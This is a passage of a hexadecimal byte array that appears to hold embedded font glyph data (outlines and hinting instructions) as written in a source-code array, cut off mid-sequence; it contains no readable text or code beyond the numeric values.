0x23,0x1,0x4,0x60,0x2,0xaa,0xfd,0x56,0x2,0xca,0xfc,0x9c,0xfd,0x83,0x9c,0xb6, - 0x2,0xf7,0x4,0x3c,0xfc,0x9c,0x7c,0xfe,0x47,0x4,0xd3,0xfe,0x2c,0x82,0xfe,0x5, - 0x82,0x1,0x1f,0xfe,0xe1,0x5,0x55,0x82,0xfc,0xce,0x3,0x32,0xfc,0xce,0x0,0x0, - 0x2,0x0,0x4c,0xff,0xf2,0x7,0xa0,0x5,0x63,0x0,0x19,0x0,0x2b,0x0,0x81,0xb4, - 0x0,0x5,0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0x19,0x18, - 0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x28,0x1,0x10,0xdd,0xb2,0x29,0xf,0x28,0x10, - 0xc4,0xc0,0x40,0x9,0x17,0x16,0x15,0xa,0x9,0x8,0x6,0x1,0x28,0x11,0x12,0x17, - 0x39,0xb1,0x1e,0xf,0x10,0xcd,0x0,0xb1,0x8,0x7,0x2f,0x3c,0xb1,0x2,0x1,0x2f, - 0x3c,0xb1,0x18,0x17,0x2f,0x3c,0xb2,0x4,0x3,0x1,0x10,0xdd,0x3c,0xb5,0xa,0x9, - 0x6,0x5,0x3,0x7,0x10,0x17,0xdd,0x3c,0xb5,0x0,0x19,0x16,0x15,0x3,0x17,0x10, - 0x17,0xdd,0x3c,0xb4,0x1,0x29,0x15,0x2,0x0,0x13,0x11,0x12,0x39,0x13,0xb3,0x13, - 0x1,0xc,0x0,0x3f,0x3f,0xb3,0x23,0xc,0x1a,0x13,0x10,0xcd,0x10,0xcd,0x31,0x30, - 0x1,0x11,0x21,0x15,0x21,0x11,0x21,0x15,0x21,0x37,0x23,0x6,0x21,0x20,0x26,0x11, - 0x10,0x37,0x36,0x21,0x20,0x17,0x33,0x27,0x21,0x15,0x25,0x20,0x6,0x11,0x15,0x14, - 0x17,0x1e,0x1,0x33,0x20,0x36,0x35,0x3f,0x1,0x27,0x2e,0x1,0x4,0xd1,0x2,0xb1, - 0xfd,0x4f,0x2,0xcf,0xfc,0x9c,0x4,0x4,0x5c,0xfe,0xc3,0xfe,0x86,0xdd,0x28,0x56, - 0x1,0xad,0x1,0x6d,0x58,0x4,0x4,0x3,0x64,0xfa,0xa5,0xfe,0xfd,0x63,0xa,0x11, - 0x99,0xeb,0x1,0x1e,0x96,0x1,0x4,0x7,0x10,0xa5,0x4,0xc7,0xfe,0x3b,0x82,0xfe, - 0x7,0x82,0x82,0x95,0xc6,0x1,0x53,0x2,0xd,0x69,0xe2,0x9c,0x82,0x82,0x1a,0xa7, - 0xfe,0x4c,0x8d,0x68,0x48,0x85,0x50,0x76,0xe1,0xd7,0xd2,0x8d,0x94,0x4c,0x0,0x0, - 0x3,0x0,0x14,0xff,0xf2,0x4,0xf4,0x5,0x63,0x0,0x13,0x0,0x1e,0x0,0x27,0x0, - 0x75,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0x40,0x10,0xe,0x4,0x27, - 0x1f,0x1e,0x1c,0x14,0x13,0xe,0xc,0x9,0x4,0x2,0xb,0xa,0x1,0x11,0x12,0x17, - 0x39,0x2f,0x2f,0xb3,0x25,0x4,0x1b,0xe,0x10,0xcd,0x10,0xcd,0x0,0xb3,0x1,0xa, - 0x1,0x0,0x13,0x10,0xc0,0x13,0x40,0xd,0x1,0x1,0x27,0x14,0x13,0x2,0x1,0x0, - 0x6,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x40,0xd,0x1, - 0x1,0x1f,0x1e,0x1c,0xc,0xb,0x9,0x6,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12, - 0x17,0x39,0x13,0x14,0xb3,0x11,0x0,0x7,0x1,0x3f,0x3f,0xb3,0x22,0x7,0x17,0x11, - 0x10,0xcd,0x10,0xcd,0x31,0x30,0x37,0x35,0x37,0x26,0x11,0x10,0x36,0x21,0x20,0x17, - 0x37,0x15,0x7,0x16,0x11,0x10,0x6,0x21,0x20,0x27,0x37,0x1e,0x1,0x21,0x32,0x36, - 0x35,0x13,0x27,0x26,0x2f,0x1,0x2e,0x1,0x23,0x20,0x6,0x11,0x10,0x17,0x14,0x4c, - 0x22,0xc4,0x1,0x9c,0x1,0x73,0x62,0x81,0x4f,0x25,0xaf,0xfe,0x6d,0xfe,0x79,0x70, - 0x6f,0x2a,0x89,0x1,0x11,0xe9,0x89,0x1,0x8,0x2,0x7,0x1f,0x28,0x8a,0xf8,0xfe, - 0xf0,0x7c,0xf,0x7,0x98,0x49,0x74,0x1,0x61,0x1,0xcb,0xdb,0x89,0x7d,0x98,0x4d, - 0x76,0xfe,0xe0,0xfd,0xf8,0xe2,0x8f,0x6a,0x53,0x24,0x89,0xea,0x1,0x47,0x91,0x13, - 0x25,0x7b,0x4b,0x24,0x8c,0xfe,0xcc,0xfe,0xb9,0x75,0x0,0x0,0x2,0x0,0x4c,0xfe, - 0x7d,0x4,0x9a,0x5,0x63,0x0,0x1f,0x0,0x23,0x0,0x6d,0x40,0xc,0x23,0x22,0x21, - 0x20,0x1f,0x12,0x11,0x10,0x8,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2f,0x2e,0x2e,0x2e, - 0x2f,0x2e,0x2e,0x2e,0x2e,0xb1,0x19,0x8,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c, - 0xb1,0x12,0x11,0x2f,0x3c,0xb5,0x1,0x1f,0x2,0x1,0x0,0x0,0x13,0x11,0x12,0x39, - 0x39,0x13,0xb6,0x1,0x1,0x10,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13, - 0x14,0x40,0xb,0x1,0x1,0x23,0x22,0x21,0x20,0x4,0x0,0x0,0x3,0x0,0x13,0x11, - 0x14,0x12,0x17,0x39,0x13,0x14,0xb3,0xd,0x1,0x5,0x0,0x3f,0x3f,0xb3,0x1c,0x5, - 0x16,0xd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x15,0x10,0x6,0x21,0x20,0x26, - 0x11,0x10,0x36,0x37,0x36,0x21,0x20,0x16,0x15,0x17,0x23,0x27,0x34,0x26,0x23,0x20, - 0x6,0x15,0x10,0x16,0x21,0x20,0x36,0x35,0x1,0x17,0x7,0x27,0x4,0x1,0x99,0xbe, - 0xfe,0x81,0xfe,0xa9,0xba,0x2a,0x63,0x74,0x1,0x81,0x1,0x5,0xb5,0x1,0x99,0x1, - 0x6b,0xbc,0xfe,0xb6,0x92,0x62,0x1,0x1e,0x1,0x10,0x87,0xfe,0x7e,0x70,0xa0,0x5b, - 0x1,0xc8,0x34,0xfe,0xe9,0x8b,0xf5,0x1,0xc6,0x1,0x63,0xb7,0x48,0x54,0xa2,0xe8, - 0x25,0x2a,0xa5,0x5e,0x6e,0xfa,0xfd,0xc1,0xc6,0x56,0xad,0xfe,0x25,0x3f,0xe0,0x31, - 0x0,0x0,0x2,0x0,0x59,0xff,0xf2,0x3,0x8c,0x3,0xca,0x0,0x1c,0x0,0x27,0x0, - 0x60,0xb1,0x8,0x7,0x2f,0x3c,0xb3,0x16,0x15,0x9,0x7,0x10,0xdd,0x3c,0x3c,0xb5, - 0x1b,0x14,0xf,0x1,0x0,0x9,0x10,0xc0,0xc0,0xc4,0xc0,0xc4,0xb6,0x25,0x25,0xb, - 0xa,0x3,0x7,0x9,0x11,0x12,0x17,0x39,0x2f,0xb1,0x20,0xf,0x10,0xcd,0x0,0xb1, - 0x9,0x8,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xb,0x12,0x16,0x15,0x14,0x12, - 0xb,0xa,0x7,0x7,0x1,0x8,0x11,0x12,0x17,0x39,0x2f,0xb3,0xd,0x0,0x4,0x2, - 0x3f,0x3f,0xb5,0x23,0xd,0x1d,0x12,0x19,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31, - 0x30,0x1,0x23,0x34,0x36,0x33,0x32,0x16,0x15,0x11,0x23,0x37,0x27,0x6,0x23,0x20, - 0x11,0x34,0x36,0x33,0x32,0x17,0x37,0x35,0x34,0x26,0x23,0x20,0x15,0x14,0x17,0x22, - 0x6,0x15,0x14,0x16,0x33,0x20,0x35,0x34,0x26,0x1,0xd,0x8b,0x97,0xdc,0xef,0xa8, - 0x8c,0xb,0x3,0x50,0xf5,0xfe,0x96,0xa2,0xd4,0xfc,0x32,0x3,0x5a,0x98,0xfe,0xfe, - 0xe2,0xa1,0x61,0x60,0x93,0x1,0x28,0x73,0x2,0xb0,0xa7,0x73,0x8d,0xc6,0xfd,0x89, - 0x67,0x1,0x76,0x1,0x23,0xad,0x84,0x63,0x1,0x74,0xa4,0x61,0x91,0x7,0xec,0x44, - 0x70,0x74,0x4b,0xb4,0x71,0x4e,0x0,0x0,0x2,0x0,0x7b,0xff,0xf2,0x3,0xb6,0x5, - 0x55,0x0,0x10,0x0,0x1c,0x0,0x59,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x10,0x3,0x2, - 0x1,0x10,0xdd,0x3c,0x3c,0xb3,0x14,0x9,0x4,0x2,0x10,0xc0,0xc4,0xc4,0xb3,0xf, - 0xe,0x2,0x1,0x11,0x12,0x39,0x39,0xb1,0x1a,0x9,0x10,0xcd,0x0,0xb4,0x1,0x2, - 0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x0,0x10,0x2f,0x3c,0x40,0x9,0x1, - 0xf,0xe,0x4,0x3,0x4,0x2,0x0,0x10,0x11,0x14,0x12,0x17,0x39,0x14,0xb3,0xc, - 0x0,0x6,0x2,0x3f,0x3f,0xb3,0x17,0xc,0x11,0x6,0x10,0xcd,0x10,0xcd,0x31,0x30, - 0x33,0x11,0x33,0x11,0x17,0x36,0x21,0x32,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x7, - 0x17,0x1,0x22,0x6,0x15,0x10,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x7b,0x8c,0x3, - 0x30,0x1,0xa,0xd2,0xa0,0xa9,0xdd,0xe1,0x4b,0x4,0x7,0x1,0x19,0xa5,0x70,0x65, - 0xb6,0x9a,0x63,0x62,0x5,0x55,0xfd,0xed,0x3,0x8b,0xda,0xfe,0xe2,0xfe,0xf1,0xd1, - 0x85,0x1,0x76,0x3,0x56,0x8d,0xd2,0xfe,0xfd,0x8e,0x91,0xe1,0xed,0x91,0x0,0x0, - 0x1,0x0,0x5f,0xff,0xf2,0x3,0x99,0x3,0xca,0x0,0x1a,0x0,0x31,0xb6,0xf,0xe, - 0xd,0x7,0x2,0x1,0x0,0x2e,0x2e,0x2f,0x2f,0x2e,0x2e,0x2f,0xb1,0x15,0x7,0x10, - 0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c,0xb3,0xa,0x2,0x4, - 0x0,0x3f,0x3f,0xb3,0x18,0x4,0x12,0xa,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33, - 0x17,0x10,0x21,0x20,0x26,0x11,0x10,0x36,0x33,0x32,0x16,0x15,0x23,0x35,0x34,0x26, - 0x23,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x3,0xc,0x8c,0x1,0xfe,0x6e,0xfe, - 0xfe,0xa6,0xa9,0xed,0xe9,0xaa,0x8c,0x6e,0xa4,0x9e,0x5a,0x67,0xbd,0xa0,0x56,0x1, - 0x59,0x34,0xfe,0xcd,0xc2,0x1,0x2f,0x1,0x1c,0xcb,0x89,0xbd,0x19,0x6f,0x4a,0x8c, - 0xf4,0xee,0x82,0x55,0x0,0x0,0x2,0x0,0x61,0xff,0xf2,0x3,0x9a,0x5,0x55,0x0, - 0x10,0x0,0x1c,0x0,0x59,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x10,0xf,0x2,0x1,0x10, - 0xdd,0x3c,0x3c,0xb3,0x1a,0xe,0x9,0x2,0x10,0xc4,0xc0,0xc4,0xb3,0x4,0x3,0x1, - 0x2,0x11,0x12,0x39,0x39,0xb1,0x14,0x9,0x10,0xcd,0x0,0xb4,0x1,0x0,0x10,0x0, - 0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x40,0x9,0x1,0xf,0xe, - 0x4,0x3,0x4,0x2,0x0,0x1,0x11,0x14,0x12,0x17,0x39,0x14,0xb3,0xc,0x2,0x6, - 0x0,0x3f,0x3f,0xb3,0x17,0x6,0x11,0xc,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x11, - 0x23,0x37,0x27,0x6,0x23,0x22,0x26,0x11,0x10,0x36,0x33,0x20,0x17,0x37,0x11,0x1, - 0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x3,0x9a,0x8c,0x7,0x4, - 0x42,0xf1,0xdc,0xa1,0xa2,0xd1,0x1,0x5,0x32,0x3,0xfe,0xe7,0x9b,0x66,0x65,0x9f, - 0xad,0x68,0x73,0x5,0x55,0xfa,0xab,0x7c,0x1,0x8b,0xd6,0x1,0x24,0x1,0xd,0xd1, - 0x87,0x2,0x2,0x10,0xfe,0x1,0x8f,0xda,0xf0,0x97,0x97,0xfd,0xcd,0x8f,0x0,0x0, - 0x2,0x0,0x5f,0xff,0xf2,0x3,0xa4,0x3,0xca,0x0,0x16,0x0,0x1e,0x0,0x43,0x40, - 0x9,0x1e,0x17,0x16,0x10,0xf,0x8,0x2,0x1,0x0,0x2e,0x2e,0x2f,0x2f,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x17,0x1e,0x2f,0x3c,0xb2,0x10, - 0xf,0x1e,0x10,0xdd,0x3c,0xb4,0x1,0x16,0x1,0x0,0x0,0x13,0x11,0x12,0x39,0x13, - 0xb3,0xb,0x2,0x5,0x0,0x3f,0x3f,0xb3,0x1b,0xb,0x13,0x5,0x10,0xcd,0x10,0xcd, - 0x31,0x30,0x1,0x33,0x17,0x14,0x6,0x23,0x20,0x26,0x11,0x10,0x36,0x33,0x20,0x16, - 0x11,0x15,0x21,0x14,0x16,0x33,0x32,0x36,0x35,0x11,0x27,0x34,0x26,0x23,0x22,0x6, - 0x15,0x3,0x14,0x8f,0x1,0xb5,0xe3,0xfe,0xf8,0xa5,0xa6,0xf2,0x1,0x8,0xa4,0xfd, - 0x50,0x61,0xb2,0xa9,0x65,0x1,0x66,0xa9,0xaa,0x65,0x1,0x21,0x23,0x95,0x77,0xc1, - 0x1,0x35,0x1,0x1e,0xc4,0xaa,0xfe,0xef,0x4b,0xe2,0x7c,0x3b,0x62,0x1,0x2e,0x2d, - 0x9b,0x5d,0x6d,0xb8,0x0,0x0,0x1,0x0,0xe,0x0,0x0,0x2,0x26,0x5,0x63,0x0, - 0x13,0x0,0x67,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0x0,0x5,0x4,0x1,0x3,0x17,0x2f, - 0x3c,0xb5,0x11,0x10,0xa,0x9,0x3,0x2,0x10,0x17,0xdd,0x3c,0xb5,0x13,0x12,0xf, - 0xe,0x3,0x1,0x10,0x17,0xdd,0x3c,0x0,0x40,0xc,0x1,0x12,0x11,0x2,0x1,0x2, - 0x10,0xf,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd, - 0xcd,0x13,0xb1,0x0,0x13,0x2f,0x3c,0xb3,0x1,0x9,0x1,0x0,0x13,0x10,0xc0,0x13, - 0xb7,0x1,0xe,0xa,0x5,0x3,0x1,0x0,0x3,0x11,0x14,0x12,0x17,0x39,0x14,0xb1, - 0x7,0x1,0x3f,0xb1,0xc,0x7,0x10,0xcd,0x31,0x30,0x33,0x11,0x23,0x35,0x33,0x35, - 0x10,0x21,0x32,0x17,0x15,0x26,0x23,0x22,0x1d,0x1,0x33,0x15,0x23,0x11,0xa0,0x92, - 0x92,0x1,0x21,0x2b,0x3a,0x44,0x1f,0x97,0xfa,0xfa,0x3,0x48,0x74,0x8e,0x1,0x19, - 0x7,0x74,0x7,0x98,0x9b,0x74,0xfc,0xb8,0x0,0x0,0x2,0x0,0x60,0xfe,0x56,0x3, - 0x9b,0x3,0xca,0x0,0x1c,0x0,0x28,0x0,0x71,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x1c, - 0xf,0xe,0x1,0x10,0xdd,0x3c,0x3c,0xb5,0x26,0x15,0x10,0x8,0x7,0xe,0x10,0xc0, - 0xc0,0xc0,0xc4,0xc4,0xb3,0x1b,0x1a,0x1,0xe,0x11,0x12,0x39,0x39,0xb1,0x20,0x15, - 0x10,0xcd,0x0,0xb4,0x1,0x0,0x1c,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x8, - 0x7,0x2f,0x3c,0xb5,0x1,0xe,0x1,0x0,0x0,0x7,0x11,0x14,0x12,0x39,0x39,0x14, - 0x40,0x9,0x1,0x1b,0x1a,0x10,0xf,0x4,0x1c,0x0,0x0,0x13,0x11,0x12,0x17,0x39, - 0x13,0xb5,0x18,0x2,0x12,0x0,0x4,0x3,0x3f,0x3f,0x3f,0xb5,0x23,0x12,0x1d,0x18, - 0xb,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x11,0x14,0x6,0x23,0x22, - 0x26,0x35,0x33,0x14,0x16,0x33,0x32,0x36,0x3d,0x1,0x27,0x6,0x21,0x22,0x26,0x11, - 0x10,0x36,0x33,0x32,0x17,0x37,0x27,0x5,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36, - 0x35,0x34,0x26,0x3,0x9b,0xb4,0xf0,0xd6,0x9c,0x87,0x5b,0x9a,0xa0,0x6e,0x3,0x36, - 0xfe,0xfe,0xd4,0xa0,0xa3,0xdd,0xeb,0x48,0x3,0x7,0xfe,0xeb,0xa5,0x62,0x62,0xa5, - 0xa7,0x6a,0x6a,0x3,0xbc,0xfc,0x6,0xd0,0x9c,0x84,0xb5,0x7b,0x4a,0x60,0x8c,0xc0, - 0x1,0x85,0xd1,0x1,0x15,0x1,0x1f,0xd3,0x90,0x1,0x81,0x66,0x8b,0xeb,0xed,0x8d, - 0x9b,0xf5,0xd8,0x88,0x0,0x0,0x1,0x0,0x7b,0x0,0x0,0x3,0x9a,0x5,0x55,0x0, - 0x13,0x0,0x5b,0xb1,0x13,0x12,0x2f,0x3c,0xb2,0x8,0x7,0x6,0x2f,0x3c,0x3c,0xb5, - 0x0,0x11,0x10,0x1,0x3,0x12,0x10,0x17,0xdd,0x3c,0xb3,0xb,0xa,0x9,0x6,0x10, - 0xdd,0x3c,0x3c,0xb2,0x2,0x9,0x1,0x11,0x12,0x39,0x0,0xb4,0x1,0x0,0x13,0x0, - 0x0,0x13,0x10,0xcd,0xcd,0x13,0xb4,0x12,0x11,0x9,0x8,0x3,0x17,0x2f,0x3c,0x40, - 0xc,0x1,0x10,0xb,0xa,0x7,0x6,0x2,0x1,0x7,0x2,0x0,0x8,0x11,0x14,0x12, - 0x17,0x39,0x14,0xb1,0x4,0x2,0x3f,0xb1,0xd,0x4,0x10,0xcd,0x31,0x30,0x1,0x11, - 0x17,0x36,0x33,0x20,0x11,0x15,0x11,0x23,0x11,0x35,0x34,0x23,0x22,0x6,0x15,0x11, - 0x23,0x11,0x1,0x7,0x3,0x35,0xf3,0x1,0x68,0x8c,0xdd,0xb2,0x78,0x8c,0x5,0x55, - 0xfd,0xf1,0x2,0x86,0xfe,0xc0,0x27,0xfd,0x9d,0x2,0x63,0x1b,0xd8,0x7f,0xbd,0xfd, - 0xe6,0x5,0x55,0x0,0x2,0x0,0x7b,0x0,0x0,0x1,0x7,0x5,0x55,0x0,0x3,0x0, - 0x7,0x0,0x38,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb2,0x0,0x1, - 0x2,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x6,0x10,0xdd,0x3c,0x0,0x40,0xb,0x1,0x4, - 0x7,0x0,0x2,0x1,0x1,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd, - 0x10,0xcd,0xcd,0x13,0xb1,0x6,0x5,0x2f,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x13, - 0x11,0x23,0x11,0x1,0x7,0x8c,0x8c,0x8c,0x5,0x55,0x9d,0x9d,0xfe,0x67,0xfc,0x44, - 0x3,0xbc,0x0,0x0,0x2,0xff,0xf6,0xfe,0x92,0x0,0xfe,0x5,0x55,0x0,0x3,0x0, - 0x12,0x0,0x5e,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x12,0x11, - 0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x11,0x10,0xdd,0x3c, - 0xb2,0xf,0x11,0xa,0x11,0x12,0x39,0x0,0x40,0xb,0x1,0x4,0x12,0x0,0x2,0x1, - 0x1,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13, - 0x40,0xc,0x1,0x1,0x11,0xf,0xb,0xa,0x5,0x5,0x0,0x0,0x3,0x0,0x13,0x11, - 0x14,0x12,0x17,0x39,0x13,0x14,0xb1,0x8,0x3,0x3f,0xb1,0xe,0x8,0x10,0xcd,0x31, - 0x30,0x13,0x15,0x23,0x35,0x13,0x11,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x33,0x3f, - 0x1,0x36,0x35,0x11,0xfe,0x8c,0x8c,0xc5,0x1d,0x26,0xc,0x4,0x12,0x3a,0x20,0x5, - 0x55,0x9d,0x9d,0xfe,0x67,0xfb,0xec,0x29,0xed,0x7,0x63,0x2,0x1,0x13,0x1b,0x7b, - 0x4,0x14,0x0,0x0,0x1,0x0,0x7b,0x0,0x0,0x3,0x93,0x5,0x55,0x0,0xc,0x0, - 0x51,0xb1,0xc,0xb,0x2f,0x3c,0xb5,0x0,0xa,0x9,0x1,0x3,0xb,0x10,0x17,0xdd, - 0x3c,0xb7,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x10,0xc0,0xc0,0xc0,0xc0,0xc0, - 0xc0,0xc0,0x0,0xb7,0x1,0x0,0xc,0x0,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd, - 0x10,0xcd,0xcd,0x13,0xb4,0xb,0xa,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x2,0x1, - 0x2f,0x3c,0xb2,0x9,0x8,0x1,0x10,0xdd,0x3c,0xb2,0x5,0x1,0x8,0x11,0x12,0x39, - 0x31,0x30,0x1,0x11,0x33,0x1,0x33,0x9,0x1,0x23,0x1,0x23,0x11,0x23,0x11,0x1, - 0x7,0x40,0x1,0x52,0xb0,0xfe,0x67,0x1,0xe3,0xbd,0xfe,0x6a,0x39,0x8c,0x5,0x55, - 0xfc,0xe7,0x1,0x80,0xfe,0x49,0xfd,0xfb,0x1,0xcf,0xfe,0x31,0x5,0x55,0x0,0x0, - 0x1,0x0,0x7b,0x0,0x0,0x1,0x7,0x5,0x55,0x0,0x3,0x0,0x1f,0xb1,0x3,0x2, - 0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x0,0xb4,0x1,0x0,0x3,0x0,0x0, - 0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x31,0x30,0x1,0x11,0x23,0x11, - 0x1,0x7,0x8c,0x5,0x55,0xfa,0xab,0x5,0x55,0x0,0x1,0x0,0x7b,0x0,0x0,0x6, - 0x5,0x3,0xca,0x0,0x1f,0x0,0x7b,0xb1,0x0,0x1f,0x2f,0x3c,0xb1,0x18,0x17,0x2f, - 0x3c,0xb1,0xd,0xc,0x2f,0x3c,0xb2,0x16,0x15,0x17,0x10,0xdd,0x3c,0xb3,0x1e,0x1d, - 0x1,0x1f,0x10,0xdd,0x3c,0x3c,0xb2,0xf,0xe,0xc,0x10,0xdd,0x3c,0xb3,0x3,0x2, - 0x1,0x1f,0x11,0x12,0x39,0x39,0xb2,0x19,0x17,0x1,0x11,0x12,0x39,0xb3,0x8,0x7, - 0x15,0x17,0x11,0x12,0x39,0x39,0x0,0xb4,0x1,0x0,0x1,0x0,0x0,0x13,0x10,0xcd, - 0xcd,0x13,0xb6,0x1f,0x1e,0x17,0x16,0xe,0xd,0x5,0x17,0x2f,0x3c,0x40,0xd,0x1d, - 0x19,0x18,0x15,0xf,0xc,0x8,0x7,0x3,0x2,0xa,0x1,0xd,0x11,0x12,0x17,0x39, - 0xb3,0xa,0x2,0x5,0x2,0x3f,0x3f,0xb3,0x1b,0x5,0x12,0xa,0x10,0xcd,0x10,0xcd, - 0x31,0x30,0x13,0x33,0x7,0x17,0x36,0x33,0x32,0x17,0x33,0x36,0x33,0x20,0x19,0x1, - 0x23,0x11,0x34,0x26,0x23,0x22,0x6,0x15,0x11,0x23,0x11,0x27,0x34,0x23,0x20,0x19, - 0x1,0x23,0x7b,0x8c,0x3,0x3,0x51,0xe7,0xf3,0x34,0x4,0x5a,0xef,0x1,0x52,0x8c, - 0x5a,0x7d,0xa6,0x76,0x8c,0x2,0xd3,0xfe,0xe2,0x8c,0x3,0xbc,0x90,0x3,0xa1,0xa1, - 0xa1,0xfe,0xa7,0xfd,0x8f,0x2,0x7e,0x7e,0x5a,0x7d,0xb0,0xfd,0xd7,0x2,0x71,0x2c, - 0xb9,0xfe,0xc9,0xfd,0xe1,0x0,0x1,0x0,0x7b,0x0,0x0,0x3,0x9e,0x3,0xca,0x0, - 0x13,0x0,0x54,0xb1,0x0,0x13,0x2f,0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb2,0x12,0x11, - 0x13,0x10,0xdd,0x3c,0xb3,0xc,0xb,0xa,0x8,0x10,0xdd,0x3c,0x3c,0xb5,0x3,0x2, - 0x1,0x3,0x11,0x13,0x11,0x12,0x17,0x39,0x0,0xb4,0x1,0x0,0x1,0x0,0x0,0x13, - 0x10,0xcd,0xcd,0x13,0xb4,0x13,0x12,0xa,0x9,0x3,0x17,0x2f,0x3c,0x40,0x9,0x11, - 0xc,0xb,0x8,0x3,0x2,0x6,0x1,0x9,0x11,0x12,0x17,0x39,0xb1,0x5,0x2,0x3f, - 0xb1,0xf,0x5,0x10,0xcd,0x31,0x30,0x13,0x33,0x7,0x17,0x36,0x33,0x32,0x16,0x15, - 0x11,0x23,0x11,0x35,0x34,0x26,0x23,0x20,0x19,0x1,0x23,0x7b,0x87,0x4,0x4,0x40, - 0xfe,0xcd,0x91,0x8c,0x5e,0x86,0xfe,0xd9,0x8c,0x3,0xbc,0x82,0x3,0x93,0x90,0xcc, - 0xfd,0x92,0x2,0x62,0x24,0x7b,0x55,0xfe,0xe9,0xfd,0xc1,0x0,0x2,0x0,0x60,0xff, - 0xf2,0x3,0xad,0x3,0xca,0x0,0xb,0x0,0x17,0x0,0x21,0xb1,0x9,0x3,0x2f,0x2f, - 0xb3,0x15,0x3,0xf,0x9,0x10,0xcd,0x10,0xcd,0x0,0xb3,0x6,0x0,0x0,0x2,0x3f, - 0x3f,0xb3,0x12,0x6,0xc,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x20,0x16,0x11, - 0x10,0x6,0x21,0x20,0x26,0x11,0x10,0x36,0x5,0x22,0x6,0x15,0x14,0x16,0x33,0x32, - 0x36,0x35,0x34,0x26,0x2,0x6,0x1,0x9,0x9e,0x9e,0xfe,0xf7,0xfe,0xf8,0x9e,0x9e, - 0x1,0x8,0xba,0x59,0x59,0xba,0xbb,0x59,0x59,0x3,0xca,0xb8,0xfe,0xcc,0xfe,0xcc, - 0xb8,0xb8,0x1,0x34,0x1,0x34,0xb8,0x74,0x79,0xff,0xff,0x79,0x79,0xff,0xff,0x79, - 0x0,0x0,0x2,0x0,0x7b,0xfe,0x66,0x3,0xb3,0x3,0xca,0x0,0x10,0x0,0x1c,0x0, - 0x5a,0xb1,0x0,0x10,0x2f,0x3c,0xb3,0xf,0xe,0x1,0x10,0x10,0xdd,0x3c,0x3c,0xb3, - 0x14,0xd,0x8,0x1,0x10,0xc4,0xc0,0xc4,0xb3,0x3,0x2,0x1,0x10,0x11,0x12,0x39, - 0x39,0xb1,0x1a,0x8,0x10,0xcd,0x0,0xb7,0x1,0x0,0x1,0x0,0x10,0xf,0x0,0x0, - 0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x40,0x9,0x1,0xe,0xd,0x3,0x2,0x4, - 0x1,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb3,0xb,0x0,0x5,0x2,0x3f,0x3f, - 0xb3,0x17,0xb,0x11,0x5,0x10,0xcd,0x10,0xcd,0x31,0x30,0x13,0x33,0x7,0x17,0x36, - 0x33,0x32,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x23,0x11,0x23,0x1,0x22,0x6,0x15, - 0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x7b,0x8c,0x7,0x4,0x49,0xf1,0xd5,0xa0, - 0xa2,0xcf,0xec,0x4c,0x3,0x8c,0x1,0x9c,0xa8,0x66,0x6e,0xa6,0x9e,0x65,0x62,0x3, - 0xbc,0x79,0x3,0x8a,0xd8,0xfe,0xde,0xfe,0xf3,0xd1,0x7f,0xfd,0xf5,0x4,0xf0,0x91, - 0xef,0xdd,0x93,0x8e,0xde,0xf4,0x90,0x0,0x2,0x0,0x60,0xfe,0x66,0x3,0x9a,0x3, - 